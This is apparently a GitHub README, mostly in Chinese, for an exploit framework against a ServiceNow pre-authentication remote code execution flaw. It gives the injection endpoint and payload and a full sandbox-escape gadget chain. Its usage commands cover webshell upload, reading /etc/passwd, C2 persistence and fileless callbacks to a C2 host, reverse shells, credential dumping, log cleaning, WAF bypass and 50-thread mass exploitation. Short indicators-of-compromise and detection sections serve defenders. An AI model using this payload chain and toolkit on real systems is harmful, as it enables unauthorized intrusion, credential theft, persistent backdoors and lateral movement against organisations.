tc4dy/CVE-2026-6875-PoC-Exploit
GitHub: tc4dy/CVE-2026-6875-PoC-Exploit
针对 ServiceNow 平台 CVE-2026-6875 未授权 RCE 漏洞的完整利用框架与安全检测工具,支持漏洞验证、后渗透操作及批量扫描。
Stars: 0 | Forks: 0
# CVE-2026-6875 - ServiceNow Pre‑Auth RCE Exploit Framework 🔥
` | 执行系统命令 |
| `upload [remote]` | 将 webshell 上传到目标 |
| `download ` | 下载并显示文件内容 |
| `privesc` | 尝试提权 |
| `reverse ` | 发送 reverse shell |
| `dumpcred` | 从 ServiceNow 配置中转储凭证 |
| `persist ` | 安装持久化 (cron/systemd/schtasks) |
| `lateral` | 尝试横向移动 |
| `clean` | 清理痕迹 (日志、历史记录) |
| `memory ` | 执行无文件 Java payload |
| `exit` | 退出交互式 shell |
## 🕵️ 安全验证器 (`verifier.py`)
**安全验证器** 执行非侵入式漏洞检测,不执行有害 payload 或进行系统更改。
### ✨ 功能特点
| 特性 | 描述 |
|---------|-------------|
| 🔍 **ServiceNow 检测** | 通过多个端点识别 ServiceNow 实例。 |
| 📊 **版本检测** | 检测特定的 ServiceNow 发行版和补丁级别。 |
| 🧪 **JavaScript 注入测试** | 使用安全的 `gs.print()` payload 测试注入漏洞。 |
| 🔒 **沙箱逃逸测试** | 在不使用破坏性命令的情况下验证沙箱逃逸。 |
| 📈 **置信度评分** | 根据证据提供置信度百分比 (85‑95%)。 |
| 📋 **JSON 输出** | 将结果导出为 JSON 格式以便报告。 |
| 🔄 **批量扫描** | 支持多线程扫描多个目标。 |
| 🎯 **非侵入式** | 仅执行无害的 `uname -a` 来获取系统信息。 |
## 📦 安装与要求
### 前置条件
- Python 3.6+
- `pip` (用于 `requests` 库)
### 安装依赖项
```
pip install requests urllib3
```
## 🚀 使用示例
### [1] 安全验证器 (`verifier.py`)
```
# 单个目标验证
python verifier.py -u 192.168.1.100
# 自定义端口和路径
python verifier.py -u 10.0.0.5 -p 8443 --path /snow
# 从文件批量扫描
python verifier.py -l targets.txt -o results.json
# 安静模式(仅显示易受攻击的目标)
python verifier.py -u 192.168.1.100 -q
# 增加慢速目标的超时时间
python verifier.py -u servicenow.example.com --timeout 60
# 自定义 User-Agent
python verifier.py -u 192.168.1.100 --user-agent "MyScanner/1.0"
```
### [2] Exploit Framework (exploit.py)
```
# 目标上的交互式 shell
python exploit.py -u 192.168.1.100
# 执行单个命令
python exploit.py -u 192.168.1.100 --exec "id && whoami"
# 读取文件
python exploit.py -u 192.168.1.100 --read-file /etc/passwd
# 在利用前启用检测
python exploit.py -u 192.168.1.100 --detect
# 尝试 root 提权
python exploit.py -u 192.168.1.100 --privesc
# 上传 webshell
python exploit.py -u 192.168.1.100 --upload shell.jsp
# 安装 C2 持久化
python exploit.py -u 192.168.1.100 --persistence --c2-host 10.0.0.5 --c2-port 4444
# exploit 后清理痕迹
python exploit.py -u 192.168.1.100 --clean
# 使用无文件(内存) payload
python exploit.py -u 192.168.1.100 --fileless --c2-host 10.0.0.5 --c2-port 4444
# 从文件批量 exploit(50个线程)
python exploit.py -l targets.txt -m 50 --exec "uname -a"
# 自定义回调服务器端口
python exploit.py -u 192.168.1.100 --callback-port 9090
# 启用 WAF 绕过技术
python exploit.py -u 192.168.1.100 --waf-bypass
# 通过 webhook 发送通知
python exploit.py -u 192.168.1.100 --webhook https://myhook.com/snow
# 管道模式(从 stdin 读取命令)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100
# 自定义端口和路径
python exploit.py -u 10.0.0.5 -p 8443 --path /snow
# 禁用 TLS 验证(适用于自签名证书)
python exploit.py -u 192.168.1.100 --insecure-tls
# 自定义超时和重试
python exploit.py -u 192.168.1.100 -t 60 -r 5 -d 2.0
```
## 🎯 受影响版本
| ServiceNow 发行版 | 易受攻击版本 | 已修复版本 |
|-------------------|-------------------|----------------|
| **Brazil** | EA, GA | 已修复 (post‑GA) |
| **Australia** | Patch 2 之前 | Patch 2+ |
| **Zurich** | Patch 7b, Patch 9 之前 | Patch 7b, Patch 9+ |
| **Yokohama** | Patch 12 Hot Fix 1b 之前 | Patch 12 Hot Fix 1b, Patch 13 |
| **其他发行版** | 未知 | 查阅官方安全公告 |
## 🧠 技术深入分析
### 1. JavaScript 注入 (CVE-2026-6875)
该漏洞存在于 `assessment_thanks.do` 端点中,该端点接受 `sysparm_assessable_type` 参数。通过提供一个以 `javascript:` 开头的值,平台会在系统上下文中评估随后的 JavaScript。
**易受攻击的端点:**
POST /assessment_thanks.do
sysparm_assessable_type=javascript:gs.print('test')
### 2. 沙箱逃逸 Gadget
注入的代码最初被限制在沙箱中。但是,通过利用以下链:
```
javascript:
var s="";
DiscoveryFunctions.getCacheObjectForTable=Object;
var a={};a.get=Object;
var b=new AbstractAjaxProcessor();
b.initialize=DiscoveryFunctions.getFirstValueFromTable(
a,"",DiscoveryFunctions.getFirstValueFromTable(
a,"",DiscoveryFunctions.getFirstValueFromTable(
a,"",global,"WorkflowIconsSCR",""),"prototype",""),"initialize","");
b.a=Class.create();b.a(s);
```
沙箱被绕过,从而授予对 Java 类(例如 `java.lang.Runtime`)的完全访问权限。
### 3. 后渗透模块
#### 凭证转储
搜索 `.properties`、`.xml`、`.conf` 文件以查找密码、API key 和机密信息:
- `/opt/ServiceNow/conf/*.xml`
- `/var/log/ServiceNow/*.log`
- `/etc/passwd`, `/etc/shadow`
#### 权限维持
通过以下方式安装后门:
- **Linux:** Cron job (`*/5 * * * *`)、systemd 服务、SSH key
- **Windows:** 计划任务 (`schtasks`)、注册表运行键
#### 横向移动
扫描本地子网以查找其他 ServiceNow 实例或 SSH 主机,重用发现的凭证。
#### 无文件执行
动态编译 Java 类,通过 `ClassLoader` 加载它,并在内存中执行(不写入磁盘)。
#### WAF 绕过技术
1. 双重 URL 编码
2. JavaScript 注释 (`{/*comment*/}`)
3. Unicode 转义 (`\u0077` 代替 `w`)
4. 空格注入
5. 关键字拆分 (`ne\u0077` 代替 `new`)
6. 随机技术选择
## 🔍 入侵指标
### 日志分析
在您的 ServiceNow 日志中搜索:
- **`extraweb_access.log`** – 对 `/assessment_thanks.do` 的请求,且 `sysparm_assessable_type` 包含:
- `javascript:`
- Base64 编码的字符串
- `DiscoveryFunctions.getCacheObjectForTable`
- `AbstractAjaxProcessor`
### 文件系统
- `/var/tmp/` 中出现意外文件(例如 `shell.jsp`、`.sh` 脚本)
- 被修改的 `/etc/passwd`、`/etc/shadow` 或 `~/.ssh/authorized_keys`
- 新的 cron job (`crontab -l`)
- 新的 systemd 服务 (`/etc/systemd/system/`)
### 进程
- 可疑进程 (`/bin/bash -i`、`nc`、`curl`、`wget`、`python -c`)
- 意外的到外部 IP 的网络连接
### 网络
- 从 ServiceNow 服务器到未经授权 IP 的出站连接
- 非常规端口上的 reverse shell 连接
## 📚 参考资料
- [NVD - CVE-2026-6875](https://nvd.nist.gov/vuln/detail/CVE-2026-6875)
- [ServiceNow 安全公告 (KB3137947)](https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB3137947)
- [CISA KEV 目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- [Searchlight Cyber – 技术分析](https://searchlightcyber.com/blog/cve-2026-6875)
- [The Hacker News – ServiceNow Zero‑Day 遭到利用](https://thehackernews.com/2026/07/servicenow-zero-day-exploited.html)
## 🔗 其他 Exploit
[+] CVE-2026-15409/15410 - SonicWall SMA1000 Multi-Exploit Framework
https://github.com/tc4dy/CVE-2026-15409-15410-Framework
[+] CVE-2026-41091 - SolarFlare (RedSun) Microsoft Defender LPE
https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit
[+] CVE-2026-57821 - Apache Fineract SQL Injection Toolkit
https://github.com/tc4dy/CVE-2026-57821-PoC-Exploit
[+] CVE-2026-41940 - cPanel/WHM Authentication Bypass
https://github.com/tc4dy/CVE-2026-41940-PoC-Exploit
ServiceNow AI Platform — JavaScript 注入 → 沙箱逃逸 → RCE → Root 提权
Exploit Framework & 安全验证器
仅用于授权的安全测试。
标签:CISA项目, PE 加载器, Python, ServiceNow, Web报告查看器, 协议分析, 子域名变形, 无后门, 权限提升, 漏洞利用框架, 编程工具, 远程代码执行, 逆向工具